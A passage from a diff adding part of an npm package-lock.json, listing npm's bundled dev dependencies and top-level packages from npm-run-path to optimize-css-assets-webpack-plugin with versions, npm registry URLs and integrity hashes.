"^0.2.0", + "filter-obj": "^1.1.0", + "split-on-first": "^1.0.0", + "strict-uri-encode": "^2.0.0" + } + }, + "qw": { + "version": "1.0.2", + "bundled": true, + "dev": true + }, + "rc": { + "version": "1.2.8", + "bundled": true, + "dev": true, + "requires": { + "deep-extend": "^0.6.0", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" + } + }, + "read": { + "version": "1.0.7", + "bundled": true, + "dev": true, + "requires": { + "mute-stream": "~0.0.4" + } + }, + "read-cmd-shim": { + "version": "1.0.5", + "bundled": true, + "dev": true, + "requires": { + "graceful-fs": "^4.1.2" + } + }, + "read-installed": { + "version": "4.0.3", + "bundled": true, + "dev": true, + "requires": { + "debuglog": "^1.0.1", + "graceful-fs": "^4.1.2", + "read-package-json": "^2.0.0", + "readdir-scoped-modules": "^1.0.0", + "semver": "2 || 3 || 4 || 5", + "slide": "~1.1.3", + "util-extend": "^1.0.1" + } + }, + "read-package-json": { + "version": "2.1.2", + "bundled": true, + "dev": true, + "requires": { + "glob": "^7.1.1", + "json-parse-even-better-errors": "^2.3.0", + "normalize-package-data": "^2.0.0", + "npm-normalize-package-bin": "^1.0.0" + } + }, + "read-package-tree": { + "version": "5.3.1", + "bundled": true, + "dev": true, + "requires": { + "read-package-json": "^2.0.0", + "readdir-scoped-modules": "^1.0.0", + "util-promisify": "^2.1.0" + } + }, + "readable-stream": { + "version": "3.6.0", + "bundled": true, + "dev": true, + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } + }, + "readdir-scoped-modules": { + "version": "1.1.0", + "bundled": true, + "dev": true, + "requires": { + "debuglog": "^1.0.1", + "dezalgo": "^1.0.0", + "graceful-fs": "^4.1.2", + "once": "^1.3.0" + } + }, + "registry-auth-token": { + "version": "3.4.0", + "bundled": true, + "dev": true, + "requires": { + "rc": "^1.1.6", + "safe-buffer": "^5.0.1" + } + }, + "registry-url": { + "version": "3.1.0", + "bundled": true, + "dev": true, + "requires": { + "rc": "^1.0.1" + } + }, + "request": { + "version": "2.88.2", + "bundled": true, + "dev": true, + "requires": { + "aws-sign2": "~0.7.0", + "aws4": "^1.8.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.6", + "extend": "~3.0.2", + "forever-agent": "~0.6.1", + "form-data": "~2.3.2", + "har-validator": "~5.1.3", + "http-signature": "~1.2.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.19", + "oauth-sign": "~0.9.0", + "performance-now": "^2.1.0", + "qs": "~6.5.2", + "safe-buffer": "^5.1.2", + "tough-cookie": "~2.5.0", + "tunnel-agent": "^0.6.0", + "uuid": "^3.3.2" + } + }, + "require-directory": { + "version": "2.1.1", + "bundled": true, + "dev": true + }, + "require-main-filename": { + "version": "2.0.0", + "bundled": true, + "dev": true + }, + "resolve-from": { + "version": "4.0.0", + "bundled": true, + "dev": true + }, + "retry": { + "version": "0.12.0", + "bundled": true, + "dev": true + }, + "rimraf": { + "version": "2.7.1", + "bundled": true, + "dev": true, + "requires": { + "glob": "^7.1.3" + } + }, + "run-queue": { + "version": "1.0.3", + "bundled": true, + "dev": true, + "requires": { + "aproba": "^1.1.1" + }, + "dependencies": { + "aproba": { + "version": "1.2.0", + "bundled": true, + "dev": true + } + } + }, + "safe-buffer": { + "version": "5.2.1", + "bundled": true, + "dev": true + }, + "safer-buffer": { + "version": "2.1.2", + "bundled": true, + "dev": true + }, + "semver": { + "version": "5.7.1", + "bundled": true, + "dev": true + }, + "semver-diff": { + "version": "2.1.0", + "bundled": true, + "dev": true, + "requires": { + "semver": "^5.0.3" + } + }, + "set-blocking": { + "version": "2.0.0", + "bundled": true, + "dev": true + }, + "sha": { + "version": "3.0.0", + "bundled": true, + "dev": true, + "requires": { + "graceful-fs": "^4.1.2" + } + }, + "shebang-command": { + "version": "1.2.0", + "bundled": true, + "dev": true, + "requires": { + "shebang-regex": "^1.0.0" + } + }, + "shebang-regex": { + "version": "1.0.0", + "bundled": true, + "dev": true + }, + "signal-exit": { + "version": "3.0.2", + "bundled": true, + "dev": true + }, + "slide": { + "version": "1.1.6", + "bundled": true, + "dev": true + }, + "smart-buffer": { + "version": "4.1.0", + "bundled": true, + "dev": true + }, + "socks": { + "version": "2.3.3", + "bundled": true, + "dev": true, + "requires": { + "ip": "1.1.5", + "smart-buffer": "^4.1.0" + } + }, + "socks-proxy-agent": { + "version": "4.0.2", + "bundled": true, + "dev": true, + "requires": { + "agent-base": "~4.2.1", + "socks": "~2.3.2" + }, + "dependencies": { + "agent-base": { + "version": "4.2.1", + "bundled": true, + "dev": true, + "requires": { + "es6-promisify": "^5.0.0" + } + } + } + }, + "sorted-object": { + "version": "2.0.1", + "bundled": true, + "dev": true + }, + "sorted-union-stream": { + "version": "2.1.3", + "bundled": true, + "dev": true, + "requires": { + "from2": "^1.3.0", + "stream-iterate": "^1.1.0" + }, + "dependencies": { + "from2": { + "version": "1.3.0", + "bundled": true, + "dev": true, + "requires": { + "inherits": "~2.0.1", + "readable-stream": "~1.1.10" + } + }, + "isarray": { + "version": "0.0.1", + "bundled": true, + "dev": true + }, + "readable-stream": { + "version": "1.1.14", + "bundled": true, + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "0.0.1", + "string_decoder": "~0.10.x" + } + }, + "string_decoder": { + "version": "0.10.31", + "bundled": true, + "dev": true + } + } + }, + "spdx-correct": { + "version": "3.0.0", + "bundled": true, + "dev": true, + "requires": { + "spdx-expression-parse": "^3.0.0", + "spdx-license-ids": "^3.0.0" + } + }, + "spdx-exceptions": { + "version": "2.1.0", + "bundled": true, + "dev": true + }, + "spdx-expression-parse": { + "version": "3.0.0", + "bundled": true, + "dev": true, + "requires": { + "spdx-exceptions": "^2.1.0", + "spdx-license-ids": "^3.0.0" + } + }, + "spdx-license-ids": { + "version": "3.0.5", + "bundled": true, + "dev": true + }, + "split-on-first": { + "version": "1.1.0", + "bundled": true, + "dev": true + }, + "sshpk": { + "version": "1.17.0", + "bundled": true, + "dev": true, + "requires": { + "asn1": "~0.2.3", + "assert-plus": "^1.0.0", + "bcrypt-pbkdf": "^1.0.0", + "dashdash": "^1.12.0", + "ecc-jsbn": "~0.1.1", + "getpass": "^0.1.1", + "jsbn": "~0.1.0", + "safer-buffer": "^2.0.2", + "tweetnacl": "~0.14.0" + } + }, + "ssri": { + "version": "6.0.2", + "bundled": true, + "dev": true, + "requires": { + "figgy-pudding": "^3.5.1" + } + }, + "stream-each": { + "version": "1.2.2", + "bundled": true, + "dev": true, + "requires": { + "end-of-stream": "^1.1.0", + "stream-shift": "^1.0.0" + } + }, + "stream-iterate": { + "version": "1.2.0", + "bundled": true, + "dev": true, + "requires": { + "readable-stream": "^2.1.5", + "stream-shift": "^1.0.0" + }, + "dependencies": { + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "bundled": true, + "dev": true + } + } + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "bundled": true, + "dev": true + } + } + } + } + }, + "stream-shift": { + "version": "1.0.0", + "bundled": true, + "dev": true + }, + "strict-uri-encode": { + "version": "2.0.0", + "bundled": true, + "dev": true + }, + "string_decoder": { + "version": "1.3.0", + "bundled": true, + "dev": true, + "requires": { + "safe-buffer": "~5.2.0" + }, + "dependencies": { + "safe-buffer": { + "version": "5.2.0", + "bundled": true, + "dev": true + } + } + }, + "string-width": { + "version": "2.1.1", + "bundled": true, + "dev": true, + "requires": { + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" + }, + "dependencies": { + "ansi-regex": { + "version": "3.0.0", + "bundled": true, + "dev": true + }, + "is-fullwidth-code-point": { + "version": "2.0.0", + "bundled": true, + "dev": true + }, + "strip-ansi": { + "version": "4.0.0", + "bundled": true, + "dev": true, + "requires": { + "ansi-regex": "^3.0.0" + } + } + } + }, + "stringify-package": { + "version": "1.0.1", + "bundled": true, + "dev": true + }, + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "dev": true, + "requires": { + "ansi-regex": "^2.0.0" + } + }, + "strip-eof": { + "version": "1.0.0", + "bundled": true, + "dev": true + }, + "strip-json-comments": { + "version": "2.0.1", + "bundled": true, + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "bundled": true, + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + }, + "tar": { + "version": "4.4.19", + "bundled": true, + "dev": true, + "requires": { + "chownr": "^1.1.4", + "fs-minipass": "^1.2.7", + "minipass": "^2.9.0", + "minizlib": "^1.3.3", + "mkdirp": "^0.5.5", + "safe-buffer": "^5.2.1", + "yallist": "^3.1.1" + }, + "dependencies": { + "minipass": { + "version": "2.9.0", + "bundled": true, + "dev": true, + "requires": { + "safe-buffer": "^5.1.2", + "yallist": "^3.0.0" + } + }, + "safe-buffer": { + "version": "5.2.1", + "bundled": true, + "dev": true + }, + "yallist": { + "version": "3.1.1", + "bundled": true, + "dev": true + } + } + }, + "term-size": { + "version": "1.2.0", + "bundled": true, + "dev": true, + "requires": { + "execa": "^0.7.0" + } + }, + "text-table": { + "version": "0.2.0", + "bundled": true, + "dev": true + }, + "through": { + "version": "2.3.8", + "bundled": true, + "dev": true + }, + "through2": { + "version": "2.0.3", + "bundled": true, + "dev": true, + "requires": { + "readable-stream": "^2.1.5", + "xtend": "~4.0.1" + }, + "dependencies": { + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "bundled": true, + "dev": true + } + } + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "bundled": true, + "dev": true + } + } + } + } + }, + "timed-out": { + "version": "4.0.1", + "bundled": true, + "dev": true + }, + "tiny-relative-date": { + "version": "1.3.0", + "bundled": true, + "dev": true + }, + "tough-cookie": { + "version": "2.5.0", + "bundled": true, + "dev": true, + "requires": { + "psl": "^1.1.28", + "punycode": "^2.1.1" + }, + "dependencies": { + "punycode": { + "version": "2.1.1", + "bundled": true, + "dev": true + } + } + }, + "tunnel-agent": { + "version": "0.6.0", + "bundled": true, + "dev": true, + "requires": { + "safe-buffer": "^5.0.1" + } + }, + "tweetnacl": { + "version": "0.14.5", + "bundled": true, + "dev": true + }, + "typedarray": { + "version": "0.0.6", + "bundled": true, + "dev": true + }, + "uid-number": { + "version": "0.0.6", + "bundled": true, + "dev": true + }, + "umask": { + "version": "1.1.0", + "bundled": true, + "dev": true + }, + "unique-filename": { + "version": "1.1.1", + "bundled": true, + "dev": true, + "requires": { + "unique-slug": "^2.0.0" + } + }, + "unique-slug": { + "version": "2.0.0", + "bundled": true, + "dev": true, + "requires": { + "imurmurhash": "^0.1.4" + } + }, + "unique-string": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "requires": { + "crypto-random-string": "^1.0.0" + } + }, + "unpipe": { + "version": "1.0.0", + "bundled": true, + "dev": true + }, + "unzip-response": { + "version": "2.0.1", + "bundled": true, + "dev": true + }, + "update-notifier": { + "version": "2.5.0", + "bundled": true, + "dev": true, + "requires": { + "boxen": "^1.2.1", + "chalk": "^2.0.1", + "configstore": "^3.0.0", + "import-lazy": "^2.1.0", + "is-ci": "^1.0.10", + "is-installed-globally": "^0.1.0", + "is-npm": "^1.0.0", + "latest-version": "^3.0.0", + "semver-diff": "^2.0.0", + "xdg-basedir": "^3.0.0" + } + }, + "uri-js": { + "version": "4.4.1", + "bundled": true, + "dev": true, + "requires": { + "punycode": "^2.1.0" + }, + "dependencies": { + "punycode": { + "version": "2.1.1", + "bundled": true, + "dev": true + } + } + }, + "url-parse-lax": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "requires": { + "prepend-http": "^1.0.1" + } + }, + "util-deprecate": { + "version": "1.0.2", + "bundled": true, + "dev": true + }, + "util-extend": { + "version": "1.0.3", + "bundled": true, + "dev": true + }, + "util-promisify": { + "version": "2.1.0", + "bundled": true, + "dev": true, + "requires": { + "object.getownpropertydescriptors": "^2.0.3" + } + }, + "uuid": { + "version": "3.4.0", + "bundled": true, + "dev": true + }, + "validate-npm-package-license": { + "version": "3.0.4", + "bundled": true, + "dev": true, + "requires": { + "spdx-correct": "^3.0.0", + "spdx-expression-parse": "^3.0.0" + } + }, + "validate-npm-package-name": { + "version": "3.0.0", + "bundled": true, + "dev": true, + "requires": { + "builtins": "^1.0.3" + } + }, + "verror": { + "version": "1.10.0", + "bundled": true, + "dev": true, + "requires": { + "assert-plus": "^1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "^1.2.0" + } + }, + "wcwidth": { + "version": "1.0.1", + "bundled": true, + "dev": true, + "requires": { + "defaults": "^1.0.3" + } + }, + "which": { + "version": "1.3.1", + "bundled": true, + "dev": true, + "requires": { + "isexe": "^2.0.0" + } + }, + "which-module": { + "version": "2.0.0", + "bundled": true, + "dev": true + }, + "wide-align": { + "version": "1.1.2", + "bundled": true, + "dev": true, + "requires": { + "string-width": "^1.0.2" + }, + "dependencies": { + "string-width": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "requires": { + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" + } + } + } + }, + "widest-line": { + "version": "2.0.1", + "bundled": true, + "dev": true, + "requires": { + "string-width": "^2.1.1" + } + }, + "worker-farm": { + "version": "1.7.0", + "bundled": true, + "dev": true, + "requires": { + "errno": "~0.1.7" + } + }, + "wrap-ansi": { + "version": "5.1.0", + "bundled": true, + "dev": true, + "requires": { + "ansi-styles": "^3.2.0", + "string-width": "^3.0.0", + "strip-ansi": "^5.0.0" + }, + "dependencies": { + "ansi-regex": { + "version": "4.1.1", + "bundled": true, + "dev": true + }, + "is-fullwidth-code-point": { + "version": "2.0.0", + "bundled": true, + "dev": true + }, + "string-width": { + "version": "3.1.0", + "bundled": true, + "dev": true, + "requires": { + "emoji-regex": "^7.0.1", + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^5.1.0" + } + }, + "strip-ansi": { + "version": "5.2.0", + "bundled": true, + "dev": true, + "requires": { + "ansi-regex": "^4.1.0" + } + } + } + }, + "wrappy": { + "version": "1.0.2", + "bundled": true, + "dev": true + }, + "write-file-atomic": { + "version": "2.4.3", + "bundled": true, + "dev": true, + "requires": { + "graceful-fs": "^4.1.11", + "imurmurhash": "^0.1.4", + "signal-exit": "^3.0.2" + } + }, + "xdg-basedir": { + "version": "3.0.0", + "bundled": true, + "dev": true + }, + "xtend": { + "version": "4.0.1", + "bundled": true, + "dev": true + }, + "y18n": { + "version": "4.0.1", + "bundled": true, + "dev": true + }, + "yallist": { + "version": "3.0.3", + "bundled": true, + "dev": true + }, + "yargs": { + "version": "14.2.3", + "bundled": true, + "dev": true, + "requires": { + "cliui": "^5.0.0", + "decamelize": "^1.2.0", + "find-up": "^3.0.0", + "get-caller-file": "^2.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^2.0.0", + "set-blocking": "^2.0.0", + "string-width": "^3.0.0", + "which-module": "^2.0.0", + "y18n": "^4.0.0", + "yargs-parser": "^15.0.1" + }, + "dependencies": { + "ansi-regex": { + "version": "4.1.0", + "bundled": true, + "dev": true + }, + "find-up": { + "version": "3.0.0", + "bundled": true, + "dev": true, + "requires": { + "locate-path": "^3.0.0" + } + }, + "is-fullwidth-code-point": { + "version": "2.0.0", + "bundled": true, + "dev": true + }, + "locate-path": { + "version": "3.0.0", + "bundled": true, + "dev": true, + "requires": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + } + }, + "p-limit": { + "version": "2.3.0", + "bundled": true, + "dev": true, + "requires": { + "p-try": "^2.0.0" + } + }, + "p-locate": { + "version": "3.0.0", + "bundled": true, + "dev": true, + "requires": { + "p-limit": "^2.0.0" + } + }, + "p-try": { + "version": "2.2.0", + "bundled": true, + "dev": true + }, + "string-width": { + "version": "3.1.0", + "bundled": true, + "dev": true, + "requires": { + "emoji-regex": "^7.0.1", + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^5.1.0" + } + }, + "strip-ansi": { + "version": "5.2.0", + "bundled": true, + "dev": true, + "requires": { + "ansi-regex": "^4.1.0" + } + } + } + }, + "yargs-parser": { + "version": "15.0.1", + "bundled": true, + "dev": true, + "requires": { + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" + }, + "dependencies": { + "camelcase": { + "version": "5.3.1", + "bundled": true, + "dev": true + } + } + } + } + }, + "npm-run-path": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-2.0.2.tgz", + "integrity": "sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=", + "requires": { + "path-key": "^2.0.0" + } + }, + "npmlog": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.1.2.tgz", + "integrity": "sha1-CKfyqL9zRgR3mp76StXMcXq7lUs=", + "dev": true, + "requires": { + "are-we-there-yet": "~1.1.2", + "console-control-strings": "~1.1.0", + "gauge": "~2.7.3", + "set-blocking": "~2.0.0" + } + }, + "nprogress": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/nprogress/-/nprogress-0.2.0.tgz", + "integrity": "sha1-y480xTIT2JVyP8urkH6UIq28r7E=" + }, + "nth-check": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-1.0.1.tgz", + "integrity": "sha1-mSms32KPwsQQmN6rgqxYDPFJquQ=", + "dev": true, + "requires": { + "boolbase": "~1.0.0" + } + }, + "nullthrows": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/nullthrows/-/nullthrows-1.1.1.tgz", + "integrity": "sha512-2vPPEi+Z7WqML2jZYddDIfy5Dqb0r2fze2zTxNNknZaFpVHU3mFB3R+DWeJWGVx0ecvttSGlJTI+WG+8Z4cDWw==", + "peer": true + }, + "num2fraction": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/num2fraction/-/num2fraction-1.2.2.tgz", + "integrity": "sha1-b2gragJ6Tp3fpFZM0lidHU5mnt4=", + "dev": true + }, + "number-is-nan": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", + "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=", + "dev": true + }, + "oauth-sign": { + "version": "0.8.2", + "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.8.2.tgz", + "integrity": "sha1-Rqarfwrq2N6unsBWV4C31O/rnUM=", + "dev": true + }, + "ob1": { + "version": "0.73.7", + "resolved": "https://registry.npmjs.org/ob1/-/ob1-0.73.7.tgz", + "integrity": "sha512-DfelfvR843KADhSUATGGhuepVMRcf5VQX+6MQLy5AW0BKDLlO7Usj6YZeAAZP7P86QwsoTxB0RXCFiA7t6S1IQ==", + "peer": true + }, + "object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=" + }, + "object-copy": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/object-copy/-/object-copy-0.1.0.tgz", + "integrity": "sha1-fn2Fi3gb18mRpBupde04EnVOmYw=", + "requires": { + "copy-descriptor": "^0.1.0", + "define-property": "^0.2.5", + "kind-of": "^3.0.3" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "requires": { + "is-descriptor": "^0.1.0" + } + } + } + }, + "object-hash": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-1.3.0.tgz", + "integrity": "sha512-05KzQ70lSeGSrZJQXE5wNDiTkBJDlUT/myi6RX9dVIvz7a7Qh4oH93BQdiPMn27nldYvVQCKMUaM83AfizZlsQ==", + "dev": true + }, + "object-keys": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.0.12.tgz", + "integrity": "sha512-FTMyFUm2wBcGHnH2eXmz7tC6IwlqQZ6mVZ+6dm6vZ4IQIHjs6FdNsQBuKGPuUUUY6NfJw2PshC08Tn6LzLDOag==" + }, + "object-visit": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz", + "integrity": "sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=", + "requires": { + "isobject": "^3.0.0" + }, + "dependencies": { + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" + } + } + }, + "object.assign": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.0.tgz", + "integrity": "sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==", + "requires": { + "define-properties": "^1.1.2", + "function-bind": "^1.1.1", + "has-symbols": "^1.0.0", + "object-keys": "^1.0.11" + } + }, + "object.getownpropertydescriptors": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.0.3.tgz", + "integrity": "sha1-h1jIRvW0B62rDyNuCYbxSwUcqhY=", + "dev": true, + "requires": { + "define-properties": "^1.1.2", + "es-abstract": "^1.5.1" + } + }, + "object.omit": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/object.omit/-/object.omit-2.0.1.tgz", + "integrity": "sha1-Gpx0SCnznbuFjHbKNXmuKlTr0fo=", + "dev": true, + "requires": { + "for-own": "^0.1.4", + "is-extendable": "^0.1.1" + } + }, + "object.pick": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz", + "integrity": "sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=", + "requires": { + "isobject": "^3.0.1" + }, + "dependencies": { + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" + } + } + }, + "object.values": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.0.4.tgz", + "integrity": "sha1-5STaCbT2b/Bd9FdUbscqyZ8TBpo=", + "dev": true, + "requires": { + "define-properties": "^1.1.2", + "es-abstract": "^1.6.1", + "function-bind": "^1.1.0", + "has": "^1.0.1" + } + }, + "on-finished": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz", + "integrity": "sha512-ikqdkGAAyf/X/gPhXGvfgAytDZtDbr+bkNUJ0N9h5MI/dmdgCs3l6hoHrcUv41sRKew3jIwrp4qQDXiK99Utww==", + "peer": true, + "requires": { + "ee-first": "1.1.1" + } + }, + "on-headers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz", + "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==", + "peer": true + }, + "once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "requires": { + "wrappy": "1" + } + }, + "onetime": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-2.0.1.tgz", + "integrity": "sha1-BnQoIw/WdEOyeUsiu6UotoZ5YtQ=", + "dev": true, + "requires": { + "mimic-fn": "^1.0.0" + } + }, + "open": { + "version": "6.4.0", + "resolved": "https://registry.npmjs.org/open/-/open-6.4.0.tgz", + "integrity": "sha512-IFenVPgF70fSm1keSd2iDBIDIBZkroLeuffXq+wKTzTJlBpesFWojV9lb8mzOfaAzM1sr7HQHuO0vtV0zYekGg==", + "peer": true, + "requires": { + "is-wsl": "^1.1.0" + } + }, + "optimize-css-assets-webpack-plugin": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/optimize-css-assets-webpack-plugin/-/optimize-css-assets-webpack-plugin-5.0.0.tgz", + "integrity": "sha512-MXqrLyfiOOpwm+TOWjGskX+sIgu7qlW2oozkEKnS8Z+LWAkSK7Qf6PV9RGRfMd7GmRX3zW2A3oRo0+f23POcXQ==", + "dev": true, + "requires": { + "cssnano": "^4.0.2", + "last-call-webpack-plugin": "^3.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "cosmiconfig": { + "version": "5.0.5", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-5.0.5.tgz", + "integrity": "sha512-94j37OtvxS5w7qr7Ta6dt67tWdnOxigBVN4VnSxNXFez9o18PGQ0D33SchKP17r9LAcWVTYV72G6vDayAUBFIg==", + "dev": true, + "requires": { + "is-directory": "^0.3.1", + "js-yaml": "^3.9.0", + "parse-json": "^4.0.0" + } + }, + "cssnano": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-4.0.5.tgz", + "integrity": "sha512-P2O0sz/YAAzqZVsSWOrbliPCr0c6abwVNQmFZ48AgejN/GbzwEf6IVFGQAj0UKHC+crv60wUAPQocAnDmeWlkg==", + "dev": true, + "requires": { + "cosmiconfig": "^5.0.0", + "cssnano-preset-default": "^4.0.0", + "is-resolvable": "^1.0.0", + "postcss": "^6.0.0" + } + }, + "esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "js-yaml": { + "version": "3.12.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.12.0.tgz", + "integrity": "sha512-PIt2cnwmPfL4hKNwqeiuz4bKfnzHTBv6HyVgjahA6mPLwPDzjDWrplJBMjHUFxku/N3FlmrbyPclad+I+4mJ3A==", + "dev": true, + "requires": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + } + }, + "parse-json": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz", + "integrity": "sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=", + "dev": true, + "requires": { + "error-ex": "^1.3.1", + "json-parse-better-errors": "^1.0.1" + } + }, + "postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "requires": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": 